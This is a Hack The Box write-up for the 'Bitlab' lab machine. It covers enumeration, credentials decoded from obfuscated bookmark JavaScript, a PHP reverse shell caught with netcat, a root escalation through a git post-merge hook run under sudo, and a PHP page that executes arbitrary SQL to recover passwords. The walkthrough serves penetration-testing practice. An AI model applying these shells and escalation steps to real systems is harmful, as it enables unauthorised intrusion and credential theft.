Hack The Box - Bitlab Writeup

6 minute read

Hack The Box - Bitlab

image1

Enumeration

Lets add bitlab.htb to hosts file and start enumerating

Nmap

Nmap scan report for 10.10.10.114
Host is up, received user-set (0.29s latency).
Scanned at 2020-01-04 21:49:57 IST for 1699s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSCR2AISBaUSpQGOWjsr3qEJ0/8CcRP0256a8V8+
RP3/s8C2JjPF0VpQ0yREJi5GcaxaUT71Z/Iu4L+zSuGErOswMYOASHTsLQ1OiOX+
pFPGos7dCho50xTZW/t7fznxpOZz5Z/q2vw68B+9w3nYBuSHgcOCJl9UVhd7nyzxdaTScQg3CLy3LbOmERh1PN
/sVTYEncJgVZjZAWNj3Y1WCIsQaJS24IWHjDKv883oEVgRr9K7aF95SSpLdH1aG/uvQFEoYsE+
/WvqD8lPZ+nbxmGVZWHVdHzKDHXJZTcMosAYi/OAdb8qrb17Rs1Uq66caY/GnTRMDNI73HK4PfUeQp
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOTiIG
0kUQzECqcEHxHyiK1WbdkW2Ncwk5twrushVNzzMgnydxaua2m3mg5k8UWt1HXeUOyUxTpXaoaPa7Gclg4=
|   256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMsgauIgMgKCiPSybbXatTK8ZsAgv7xsrJsR5FZ5M77i
80/tcp open  http    syn-ack ttl 62 nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 55 disallowed entries (40 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
| /s/ /snippets/new /snippets/*/edit /snippets/*/raw 
| /*/*.git /*/*/fork/new /*/*/repository/archive* /*/*/activity 
| /*/*/new /*/*/edit /*/*/raw /*/*/blame /*/*/commits/*/* 
| /*/*/commit/*.patch /*/*/commit/*.diff /*/*/compare /*/*/branches/new 
| /*/*/tags/new /*/*/network /*/*/graphs /*/*/milestones/new 
| /*/*/milestones/*/edit /*/*/issues/new /*/*/issues/*/edit 
| /*/*/merge_requests/new /*/*/merge_requests/*.patch 
|_/*/*/merge_requests/*.diff /*/*/merge_requests/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 3.2 - 4.9 (92%), Linux 3.10 - 4.11 (90%), Linux 3.18 (90%),  
Crestron XPanel control system (90%), Linux 3.16 (89%),   
ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%),   
HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=1/4%OT=22%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=5E10C1D0%P=x86_64-pc-linux-gnu)
SEQ(SP=F9%GCD=1%ISR=108%TI=Z%II=I%TS=A)
OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)
WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)
ECN(R=Y%DF=Y%TG=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)

Uptime guess: 22.734 days (since Fri Dec 13 04:40:47 2019)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   277.87 ms 10.10.14.1
2   281.07 ms 10.10.10.114

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan  4 22:18:16 2020 -- 1 IP address (1 host up) scanned in 1699.85 seconds

There is a gitlab application running on port 80.

Nikito

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.114
+ Target Hostname:    10.10.10.114
+ Target Port:        80
+ Start Time:         2020-01-04 21:50:37 (GMT5.5)
---------------------------------------------------------------------------
+ Server: nginx
+ Uncommon header 'x-request-id' found, with contents: 6igBuZrRK26
+ Uncommon header 'x-accel-buffering' found, with contents: no
+ Uncommon header 'x-runtime' found, with contents: 0.011019
+ Root page / redirects to: http://10.10.10.114/users/sign_in
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/autocomplete/users/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/search/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Server banner has changed from 'nginx' to 'Apache/2.4.29' which may suggest a WAF, load balancer or proxy is in place
+ Entry '/profile/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /help/: Directory indexing found.
+ Entry '/help/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/users/sign_in/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 55 entries which should be manually viewed.
+ /help/: Help directory should not be accessible
+ OSVDB-3092: /public/: This might be interesting...
+ OSVDB-3092: /search.vts: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated:  19 error(s) and 13 item(s) reported on remote host
+ End Time:           2020-01-04 22:33:50 (GMT5.5) (2593 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

There are lot of interesting entries in robots.txt
The following entries looks interesting.

+ Entry '/users/sign_in/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/profile/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/help/' in robots.txt returned a non-forbidden or redirect HTTP code (200)

I found the following javascript code in bitlab.htb/help/ directory under bookmarks.html

href='javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E",  
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65",  
"\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];  
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()'

Looks like encoded javascript. But let see if we can try decoding it using the following site. Javascript Decoder

Decoded javascript

javascript: (function () {
    var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];  
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
})()

So we have some user creds username:clave and password:11des0081x. We can use these to login to the gitlab application.

Low Privilege Shell

To get low privilege shell we have to consider the following options

  • We can login to the gitlab application
  • There are two repositories Profile and Deployer
  • We can write files to the the repositories
  • The repository named profile is being hosted at http://bitlab.htb/profile/
  • We can execute php files written to Profile repository by visiting the file at http://bitlab.htb/profile/php_file

So lets create a php reverse shell and execute it to get a reverse shell.

image1

root@kali:~/Desktop/htb/bitlab# nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.15.138] from bitlab.htb [10.10.10.114] 51342
Linux bitlab 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 05:54:26 up 41 min,  0 users,  load average: 0.96, 0.47, 0.39
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 

And we have a low privilege shell.

Now there are two ways to get root from here. I will be discussing both methods here.

Root Shell Method 1 (Using git pull)

Low Priv Shell Enumeration

Lets run LinEnum.sh to get see if there are any exploitable methods

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull


[+] Possible sudo pwnage!
/usr/bin/git

So we can execute /usr/bin/git pull without supplying a password. We can exploit git hooks to gain a root shell.
Gtfobins git hooks, Git pull hook

Root Shell

We can exploit git using hooks by completing the following steps

  1. Copy the profile folder from /var/www/html/ to /tmp folder

     $ cp -r /var/www/html/profile /tmp/pro
    
  2. Create a post-merge hook in /profile/.git/hooks/ with the following content and change permissions

     #!/bin/bash
     echo pwned
     exec /bin/sh 0<&2 1>&2
    
     $ (echo '#!/bin/bash';echo 'pwned';echo 'exec /bin/sh 0<&2 1>&2')>post-merge
     $ chmod 777 post-merge
    
  3. Change the README.md file slightly so that the git pull command will have some updates to download and after the update it will execute the hook.

     $ sudo /usr/bin/git pull
     sudo /usr/bin/git pull
     remote: Enumerating objects: 6, done.
     remote: Counting objects: 100% (6/6), done.
     remote: Compressing objects: 100% (4/4), done.
     remote: Total 4 (delta 2), reused 0 (delta 0)
     Unpacking objects: 100% (4/4), done.
     From ssh://localhost:3022/root/profile
        6945c1e..ac5e916  master     -> origin/master
      * [new branch]      patch-11   -> origin/patch-11
     Updating 6945c1e..ac5e916
     Fast-forward
      README.md | 3 +--
      1 file changed, 1 insertion(+), 2 deletions(-)
     .git/hooks/post-merge: line 2: pwned: command not found
     # id
     id
     uid=0(root) gid=0(root) groups=0(root)
    

    image1 And we are root.

Root Shell Method 2 (By Debugging the Remote Connect Binary)

User Shell

First we have to escalate our privilege from www-data to clave to copy the binary. We can do this by connecting to the postgresql database to retrieve the credentials of clave.

Using the following php code we can retrieve clave credentials.
We have to commit this file to the profile repository and execute the query to retrieve the credentials.

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
?>
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        $result = pg_query($db_connection, $_GET['cmd']);
        $row = pg_fetch_assoc($result);
        echo $row;
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

Query

from profile select *

And we get the following credentials.

username: clave
password: c3NoLXN0cjBuZy1wQHNz==

This looks like a base64 encoded string, but we have to use the password without decoding it.
Once we login using this we can copy the binary using netcat

Root Shell

On executing the RemoteConnect.exe binary file we can see that the binary prints the string Access Denied !! and exits.
Lets try to debug it.

image1

I set a breakpoint at the point where the program prints Access Denied !!.
Once the program hits the breakpoint we can see the ssh password for root.
Lets try logging in.

ssh root@10.10.10.114
root@10.10.10.114's password:
Last login: Wed Oct 23 01:11:02 2019 from 10.10.14.26
root@bitlab:~#id
uid=0(root) gid=0(root) groups=0(root)

And we are root.

Tags:

Categories:

Updated: